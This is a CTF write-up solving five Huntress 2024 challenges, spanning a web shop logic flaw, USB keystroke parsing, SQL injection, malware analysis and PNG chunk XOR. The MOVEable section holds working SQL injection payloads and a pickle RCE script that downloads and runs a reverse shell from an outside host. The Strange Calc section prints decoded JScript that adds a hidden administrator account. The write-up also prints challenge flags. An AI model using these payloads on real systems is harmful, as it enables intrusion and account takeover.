Huntress2024

My notes on five challenges from Huntress CTF 2024: Whamazon, Keyboard Junkie, MOVEable, Strange Calc and OceanLocust. The challenges were solved as part of the Dombusters team.


Whamazon

Challenge Author: @JohnHammond
Tagline“Wham! Bam! Amazon is entering the hacking business! Can you buy a flag?”

Whamazon Solution

In this challenge, we’re presented with a web application that can be accessed through our internet browser. Upon exploring the webapp, we find two major functionalities - viewing our empty inventory and purchasing items. Among the items for sale are some intriguing items like apples and, notably, the flag we’re after. Unfortunately, the flag carries quite a hefty price tag, and we only start with a $50 budget with no option to sell items back.

Intercepting the webapp’s request traffic with Burp, we observe the use of a websocket. The intercepted traffic consists mainly of incomprehensible text and a few integers, likely encrypted. Modifying these integers and resending the request results in the disconnection of our websocket session.

As there appears to be no direct means of manipulating an item’s price, our next strategy involves attempting to buy a negative quantity of apples - and voila!
This little trick adds the cost of these negative apples to our balance.
Whamazon

After managing to afford and purchase the flag, we are led into a game of rock-paper-scissors against a Whamazon bot. Interestingly, the bot seems to consistently choose the same move, allowing us to finally claim our flag listed in the inventory.

We got all the deets on what's what in your inventory:
 ------------------------ 
  -43786587345 x Apples: A shiny red apple. Probably very tasty: but not all that useful!
  1 x The Flag: A flag you can submit for points in a CTF! It says: flag{18bdd83cee5690321bb14c70465d3408}

Flag: flag{18bdd83cee5690321bb14c70465d3408}

Alternative Solution

Interestingly, an alternate solution exists for obtaining the flag. We can cause a crash in the Python application that’s behind the scenes of the webshop, which would subsequently allow us to gain an interactive shell within the associated Docker container.

This can be achieved by repeatedly interrupting the program using the CTRL-C command and refreshing the page every time the connection is severed. After several attempts, a stacktrace becomes visible, and normal OS commands can be run inside the shell.
Whamazon_Shell


Keyboard Junkie

Challenge Author: @JohnHammond
Tagline“My friend wouldn’t shut up about his new keyboard, so…”

Keyboard Junkie Solution

The challenge provided a .pcap file with numerous USB-related packets. Suspecting that these packets might contain keyboard press data, I sought a tool that could parse this information.

The tool I opted for was the ctf-usb-keyboard-parser.
https://github.com/TeamRocketIst/ctf-usb-keyboard-parser

According to the tool’s readme file, the first step is to filter out the pertinent packets from the entire packet capture file and store them in a new .pcap file.
This can be done using the following command:

tshark -r ./keyboard_junkie -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keyboard.pcap

Following this, we then use our tool to interpret what was typed.

python3 usbkeyboard.py keyboard.pcap
so the answer is flag{f7733e0093b7d281dd0a30fcf34a9634} hahahah lol

That gives us our flag.

Flag: flag{f7733e0093b7d281dd0a30fcf34a9634}


MOVEable

Challenge Author: @JohnHammond#6971
Tagline“Ever wanted to move your files? You know, like with a fancy web based GUI instead of just FTP or something? Escalate your privileges and find the flag.”

MOVEable Solution

This challenge was quite fun to solve, with each step of exploitation becoming clear after a bit of searching. However, let’s not rush things and rather examine how the challenge can be solved step by step.

We are provided with the app.py for a Flask application. This app displays a login page and utilizes an SQLlite database to store user information. Furthermore, there are tables for sessions and files that are stored within this web application.

The login function immediately reveals that the SQL statement for login seems susceptible to SQL injection. Below is the mentioned code segment:

username = DBClean(request.form['username'])
password = DBClean(request.form['password'])
conn = get_db()
c = conn.cursor()
sql = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
c.executescript(sql)

However, before being used in the SQL statement, our parameters are “cleaned” in the DBClean function.

def DBClean(string):
    for bad_char in " '\"":
        string = string.replace(bad_char,"")
    return string.replace("\\", "'")

The function removes the characters , ' and ". Yet, there is an additional replacement that substitutes \ with ', implying that we can still use ', if we type \ instead.

For bypassing the removal of the space character , a simple bypass of /**/ can be used. As a result, we can now execute almost any SQL command.

The remainder of the login function indicates that we need an existing user returned from the SQL statement for a successful login.

user = c.fetchone()
if user:
    c.execute(f"SELECT sessionid FROM activesessions WHERE username=?", (username,))
    active_session = c.fetchone()
    if active_session:
        session_id = active_session[0]
    else:
        c.execute(f"SELECT username FROM users WHERE username=?", (username,))
        user_name = c.fetchone()
        if user_name:
            session_id = str(uuid.uuid4())
            c.executescript(f"INSERT INTO activesessions (sessionid, timestamp) VALUES ('{session_id}', '{datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')}')")
        else:
            flash("A session could be not be created")
            return logout()

    session['username'] = username
    session['session_id'] = session_id
    conn.commit()
    return redirect(url_for('files'))
else:
    flash('Username or password is incorrect')
    return redirect(url_for('home'))

Given the ability to inject additional SQL commands, we can insert any user of our choosing into the users table. For example a user called admin1 with the following statement:

admin1\;/**/INSERT/**/INTO/**/users/**/VALUES/**/(\admin1\,\admin1\)--

Even though our local setup confirms that this user is indeed created in the users table, we are still unable to log in. Debugging on the locally deployed web app of the MOVEable app.py reveals that the user variable remains persistently None. This is due to the app’s utilization of executescript(), which returns nothing. Therefore we will never be able to login that way.

Next, we need to explore alternative methods for authentication and exploitation of this web application. For this, we’ll look at the remaining functions in the Python code.

There’s a download_file function that allows us to download files. Interestingly, this route doesn’t check our authentication credentials but fetches the session ID directly from the URL. It then verifies the existence of this session ID in the activesessions database table and proceeds to download the requested file. Below is the snippet of that function:

@app.route('/download/<filename>/<sessionid>', methods=['GET'])
def download_file(filename, sessionid):
    conn = get_db()
    c = conn.cursor()
    c.execute(f"SELECT * FROM activesessions WHERE sessionid=?", (sessionid,))
    active_session = c.fetchone()
    if active_session is None:
        flash('No active session found')
        return redirect(url_for('home'))
    c.execute(f"SELECT data FROM files WHERE filename=?",(filename,))
    file_data = c.fetchone()

Given that we can insert any statement into the database, it’s possible to craft ourselves a valid session ID. All we need to do is modify the SQL injection slightly so that it writes a session instead of a user:

admin1\;/**/INSERT/**/INTO/**/activesessions/**/VALUES/**/(\8de16447-c339-41c4-be6f-eaf3db51a661\,\admin1\,\2024-10-17 22:14:53.757220\);--

This will allow us to read the files stored in the database, including flag.txt, which unfortunately contains a dummy text instead of a flag:

lol just kidding this isn’t really where the flag is

This mock flag was expected, as it’s also inserted into the db within the app.py code. One might hope that the actual live instance would provide the real flag, but that isn’t the case.

Next, looking further into the same function’s code, we notice that pickle is utilized to load file content from base64.

    file_data = c.fetchone()
    if file_data is None:
        flash('File not found')
        return redirect(url_for('files'))
    file_blob = pickle.loads(base64.b64decode(file_data[0]))
    try:    
        return send_file(io.BytesIO(file_blob), download_name=filename, as_attachment=True)
    except TypeError:
        flash("ERROR: Failed to retrieve file. Are you trying to hack us?!?")
        return redirect(url_for('files'))

Google reveals that pickle has some serious vulnerabilities that we might exploit to execute commands on the server.

In Python, the pickle module is used to serialize and deserialize data. In this case, deserialization can also lead to remote code execution. More details can be found here (Python-Pickle-RCE-Exploit) and here (exploiting-python-pickle).

Let’s try to insert our own file into the third and last table of our database, one we haven’t inserted anything into so far.

To generate the file content, we can use the following pickle payload generation script:

import pickle
import base64
import requests
import sys

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,('python3 -c "import urllib.request; exec(urllib.request.urlopen(\\"http://IP:PORT/shell.py\\").read())" IP PORT',))

payload = base64.b64encode(pickle.dumps(PickleRCE()))  # Crafting Payload
print(payload)

We then need to utilize the base64 output as file content in our insertion into the files table.

username=admin&password=admin\;INSERT/**/INTO/**/files/**/VALUES/**/(\pwned.txt\,\BASE64_HERE\,NULL)--%20-

The final step of the execution chain is to trigger the script. Of course, the shell.py needs to be downloadable by the hosted instance of the challenge, so the reverse shell can be downloaded from the Python script and executed. Moreover, the script then requires a way to connect back to your listener.

After the callback from the reverse shell, you were successfully able to access the root directory and read the flag. By using the command:

sudo cat /root/flag.txt

Strange Calc

Challenge Author: @JohnHammond
Tagline“I got this new calculator app from my friend! But it’s really weird, for some reason it needs admin permissions to run??”

Strange Calc Solution

Our team had two main ways to beat this task. I’ll start with the easy one: using a sandbox. Obviously it was a private sandbox instance so the challenge wouldn’t be leaked.

When looking at the process tree, we saw some unusual net commands happening. Normal calculators shouldn’t do this. All this seemed to connect to a file named “WmZ93kfDVH.jse”. We don’t know where this file came from, but it looks like the calculator process (calc.exe) is executing it.

Process tree

Lucky for us the sandbox has a feature to download files that were created during execution. So we can directly download the .jse file without having to extract it ourself from the calc.exe.
Looking at the content of that file its just some binary garbage.

#@~^cQMAAA==W!x^DkKxPm`(b	7l.P1'EEBN'( /aVkDcE-	J*iWW.c7l.Px!p+@![cV+ULDtI+3Q*	-mD,0'9$DRM+2VmmncJ7-kQu'/_f&L~EB*ir0cWckUNar6`E8okUE*'x'Zk-0 bx9+6}0vENE#{'xT-u0{x'rJ#1GUYbx!+I\C.,ox`6 m4l./KN+)Ov!bO2+*[2i6WDv\m.P4'qi4@!W ^+xTOtpt_{*b	b0vtQ&@*x6Rs+	LY4#8.l3I-mD~k{c6R^4lMZW9+zO`4#R&y#'2~L{c0cmtm./W9+zYctQq*Of *'v2~Vxv0R^4mD/W9nzYc4_y#O2 *'v2~s'v0 ^4lD;GNbYv4Q&*O2 b[fpmQ'UODbxL 6DWh/4l.ZK[`cb@!@! #-`N@*@*W#bib0c43 @!6 VxoD4RF*m3'jY.r	o 0MG:;tC.;WNncv`%[8X*@!@!W#-`3@*@*yb#pkW`4_f@!6RVUoDtO8b^_{?DDrxL 6DG:;4lMZ

But the search for the file extension .jse reveals that it’s a dialect of JavaScript developed by Microsoft.
So let’s see how we can decode it. Luckily, most of the time we can use CyberChef to help us. To read it, we use the recipe called Microsoft Script Decoder. You can also go directly to it by using this link.

With this, we get the following JavaScript that we can understand, so we can keep analysing it.

function a(b) {
	var c = '', d = b.split('\n');
	for (var e = 0; e < d.length; e++) {
		var f = d[e].replace(/^\s+|\s+$/g, '');
		if (f.indexOf('begin') === 0 || f.indexOf('end') === 0 || f === '')
			continue;
		var g = f.charCodeAt(0) - 32 & 63;
		for (var h = 1; h < f.length; h += 4) {
			if (h + 3 >= f.length)
				break;
			var i = f.charCodeAt(h) - 32 & 63, j = f.charCodeAt(h + 1) - 32 & 63, k = f.charCodeAt(h + 2) - 32 & 63, l = f.charCodeAt(h + 3) - 32 & 63;
			c += String.fromCharCode(i << 2 | j >> 4);
			if (h + 2 < f.length - 1)
				c += String.fromCharCode((j & 15) << 4 | k >> 2);
			if (h + 3 < f.length - 1)
				c += String.fromCharCode((k & 3) << 6 | l);
		}
	}
	return c.substring(0, g);
}
var m = 'begin 644 -\nG9FQA9WLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-60Y,WT*\n`\nend';
var n = a(m);
var o = [
	'net user LocalAdministrator ' + n + ' /add',
	'net localgroup administrators LocalAdministrator /add',
	'calc.exe'
];
var p = new ActiveXObject('WScript.Shell');
for (var q = 0; q < o.length - 1; q++) {
	p.Run(o[q], 0, false);
}
p.Run(o[2], 1, false);

We see that the variable ’n’, which is the password for the new admin being added by the strange net commands we saw before, is the result of decoding the string in variable ’m’ by using the ‘a’ function. So, we just need to decode the ’m’ string. Instead of doing that manually, we can change the script to print us the ’n’ variable after the string is decoded. Also, we should delete all the malicious commands that would create a new admin on our system.
Printing the password using WScript.Echo(n); we get the flag printed out.

Flag: flag{9922fb21aaf1757e3fdb28d7890a5d93}

Alternative Solution

Another way to do this, instead of using the sandbox, is to check the output of DIE (Detect It Easy). This tells us that the exe was built using AutoIt 3.4.9. We can find online that there is a tool to change exes back into AutoIt files, and it’s called Exe2Aut.exe. After we use that, we get an AutoIt script file that we can read normally with a text editor. In line 13 of the script, we find a string that is base64 encoded.

I0B+XmNRTUFBQT09VyF4XkRrS3hQbWAoYgk3bC5QMSdFRUJOJyggL2FWa0RjRS0JSippV1cuYzdsLlB/eCFwK0AhW2NWK1VMRHRJKzNRKgktbUQsMCc5JH9EUk0rMlZtbW5jSjcta1F1Jy9fZiZMfkVCKmlyMGNXY2tVTn9hcjZgRTh/b2tVRSoneCdaay0wIGJ4OSs2fTB2RSsJTkUjeyd4VC11MHt4J3JKIzFHVVlieCErSVxDLixveGA2IG00bC4vS04rKU92IWJPMisqW38yaTZXRHZcbS5QNCdxaTRAIVcgXit4VE90cHRfeypiCWIwdnRRJkAqeDZScysJTFk0Izguf2wzSS1tRH5re2M2Ul40bE1aVzkrek9gNCNSJnkjJ38yfkx7YzBjbXRtLi9XOSt6WWN0UXEqT2YgKid2Mn5WeHYwUl40bUQvVzluelljNF95I08yICondjJ+cyd2MCBeNGxEO0dOf2JZdjRRJipPMiBiW39mcG1RJ1VPRGJ4TCA2RFdoLzRsLlpLW39gY2JAIUAhICMtYE5AKkAqVyNiaWIwYzQzIEAhNiBWf3hvRDRSRiptMydqWS5yCW8gME1HOjt0Qy47V05uY3ZgJVs4WCpAIUAhVyMtYDNAKkAqeWIjcGtXYDRfZkAhNlJWf1VvRHRPOGJeX3s/RERyeEwgNkRHOjs0bE1aR1t/YGBjVkwmYkAhQCF/KnVzKjgpRCtERU1VUDFSZEUoL08uYnhvdlR+VCM4N0MuUHMncjRub3JVLHYqYyxSLQlNMW81YiwJSklSZmAiMXdgXUJ2dWIsO15xUiZ7MlMuT2YwL3YoLFtAIShjJiJ6Un8hSX5xS00tVXwneG54OUVpN2wufgknbGNoKmktbE1+Sycscnh/WVAhL38uUGRXXmxeYltoYnhra09EbVlXTX5FXwlfclAmbFtbcn5FeH9PUF5XXkNeb0RHO2FQQ05zcglrZEREbVlXTS8sSlcxbHNiOTpyVWIvWU1DWUtEUEpDW05yfnJtQ1ZeIH82bkpZSVxtRH4ye3grQX56bU9rN25vcjhOKzFZYEV/VV5EYndPUlV0bnNeQiNwV1dNYFxtLn47eyFwO0AhVyBzf3hMWTRSRnA7UVEqCXcgXSF4Y1ddNVl+VEIwbVYvfyMpMlIiRVVgSyQrREJGfjZDVmsrI3A0UkFCQUE9PV4jfkA=

When we decode that string, we get the binary data of the .jse file we talked about before. Decoding it again and then using WScript.Echo(n); we can print the flag.


OceanLocust

Challenge Author: @JohnHammond
Tagline“Wow-ee zow-ee!! Some advanced persistent threats have been doing some tricks with hiding payloads in image files!”

OceanLocust Solution

I have to admit, I wasted a lot of time on this one, making the attempt to reverse engineer the binary. Obviously, considering this is a reverse engineering challenge. But in the end, I solved it fully dynamically, with the good old trial and error. It’s possibly not the most efficient method but eventually, I got the flag…

Since we have the binary that encoded the flag into the image and can execute it ourself to encode new data into an image of our choosing I tried to figure out what exactly changed when creating an image. Thus, I made an empty PNG image for myself to serve as a source. I then encoded a flag from a challenge I’d done before. This was simply to have a similar amount of data as I would expect. However, upon comparing, it seemed that the whole image, apart from the PNG header, had changed. This wasn’t of much help. Even when encoding the same flag in the identical source image several times, there were major differences each time.

To me, this seemed more like a steganography challenge now. Accordingly, I turned to the “CTF Image Steganography Checklist” and started going through the steps listed there.
https://georgeom.net/StegOnline/checklist

Point 5 instructs us to execute:

pngcheck -vtp7 1_encoded_empty.png
zlib warning:  different version (expected 1.2.13, using 1.3.1)

File: 1_encoded_empty.png (181 bytes)
  chunk IHDR at offset 0x0000c, length 13
    1 x 1 image, 32-bit RGB+alpha, non-interlaced
  chunk biTa at offset 0x00025, length 5
    unknown private, ancillary, safe-to-copy chunk
  chunk biTg at offset 0x00036, length 5
    unknown private, ancillary, safe-to-copy chunk
  chunk biTh at offset 0x00047, length 5
    unknown private, ancillary, safe-to-copy chunk
  chunk biTb at offset 0x00058, length 5
    unknown private, ancillary, safe-to-copy chunk
  chunk biTe at offset 0x00069, length 5
    unknown private, ancillary, safe-to-copy chunk
  chunk biTc at offset 0x0007a, length 5
    unknown private, ancillary, safe-to-copy chunk
  chunk biTf at offset 0x0008b, length 5
    unknown private, ancillary, safe-to-copy chunk
  chunk biTd at offset 0x0009c, length 5
    unknown private, ancillary, safe-to-copy chunk
  chunk IEND at offset 0x000ad, length 0:  no IDAT chunks
ERRORS DETECTED in 1_encoded_empty.png

Those biT* chunks seem a bit weird. They are present in every image I generate but are almost always ordered differently. Also they don’t seem to be default chunks of PNG files. As my online research didn’t really tell me anything about them. So I dug deeper into those chunks trying to figure out what they are doing. Next I try to encode only “A” characters in the length of a flag (38) to see where exactly our data is stored. But the data just seems to be random in there, since I don’t find my expected pattern of 38 identical hex chars. Therefore I guess our content has to be encrypted in some form.

To figure out what is going on I try to use the magic receipt of CyberChef. But first to extract the chunks I used the online tool png-file-chunk-inspector.
For example the chunk of biTa would give us a byte sequence looking like this:
00 00 00 05 62 69 54 61 23 28 15 20 9d c5 69 88
Where the first 8 bytes would be identical for all of the biT* chunks. Therefore they are probably irrelevant when we try to find the string encoded in them. After those we got a couple of bytes that likely contain our data. Because for the last 4 bytes the chunk inspector tells us that it’s the CRC Checksum. In the previous example our data is stored in the following bytes:
23 28 15 20 and that across all the biT* sections.

When only pasting this data into the magic receipt of CyberChef, the chunks sorted alphabetically by the biT* character, we get a hit on the XOR encryption. Where the used key is defined as 0x41 but the decrypted text is just some gibberish
biTabbiTbbbiTcbbiTdbbiTebbiTfbbiTgbbiT
that looks similar to the chunk names. And now we get to the part where I wasted way too much time, until I remembered what XOR is. With the Key 0x41 I didn’t find the actual XOR key used by the application to encode our data but the character I entered for encoding. Therefore the gibberish string I got has to be the XOR Key used to encrypt the data.

Let’s try it on the image we got that contains the actual flag. All the extracted chunks are as follows:

a: 00 00 00 05 62 69 54 61 04 05 35 06 19 9d c5 69 88
b: 00 00 00 05 62 69 54 62 04 0c 37 5a 55 0c b9 9f 21
c: 00 00 00 05 62 69 54 63 01 5f 6d 53 00 7d 55 d6 ec
d: 00 00 00 05 62 69 54 64 5a 0c 37 5c 06 f9 fb aa 5e
e: 00 00 00 05 62 69 54 65 54 5c 36 5d 00 b7 20 36 7b
f: 00 00 00 05 62 69 54 66 00 58 64 03 07 a6 21 a5 2e
g: 00 00 00 05 62 69 54 67 55 0b 36 51 57 c8 e8 02 80
h: 00 00 00 05 62 69 54 68 06 59 29 c2 c8 0a af 71 26

Extracting the relevant bytes and therefore excluding the chunks’ start and CRC:

04 05 35 06 19
04 0c 37 5a 55
01 5f 6d 53 00
5a 0c 37 5c 06
54 5c 36 5d 00
00 58 64 03 07
55 0b 36 51 57
06 59 29

And we get our flag printed out nicely.
CyberChef Receipt

Flag: flag{fec87c690b8ec8d65b8bb10ee7bb65d0}